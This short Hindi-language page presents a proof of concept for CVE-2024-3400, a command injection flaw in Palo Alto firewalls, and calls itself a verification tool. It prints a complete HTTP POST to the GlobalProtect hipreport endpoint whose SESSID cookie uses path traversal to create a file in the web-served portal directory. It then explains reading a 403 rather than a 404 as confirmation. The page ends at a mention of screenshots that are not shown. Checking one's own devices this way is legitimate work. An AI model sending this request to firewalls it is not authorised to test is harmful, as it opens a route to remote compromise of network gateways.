CVE-2024-3400 भेद्यता PoC (सत्यापन उपकरण)

भेद्यता विवरण

CVE-2024-3400 Palo Alto फ़ायरवॉल सिस्टम में मौजूद एक कमांड इंजेक्शन भेद्यता है। हमलावर सावधानीपूर्वक तैयार किए गए HTTP अनुरोध के माध्यम से लक्ष्य सर्वर पर दुर्भावनापूर्ण कमांड निष्पादित कर सकता है, और यहाँ तक कि root विशेषाधिकार भी प्राप्त कर सकता है।

भेद्यता पुनरुत्पादन चरण

1. निम्नलिखित HTTP अनुरोध भेजें:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

यह अनुरोध भेजने के बाद, आप सर्वर पर hellome1337.txt नामक फ़ाइल बनाएँगे, और इस फ़ाइल के पास root विशेषाधिकार होंगे।

2. जब आप इस फ़ाइल तक पहुँचने का प्रयास करेंगे, तो आपको HTTP स्थिति कोड 403 (निषिद्ध) वापस मिलना चाहिए, न कि 404 (नहीं मिला)।

स्क्रीनशॉट इस भेद्यता शोषण प्रक्रिया के प्रभाव को दर्शाते हैं: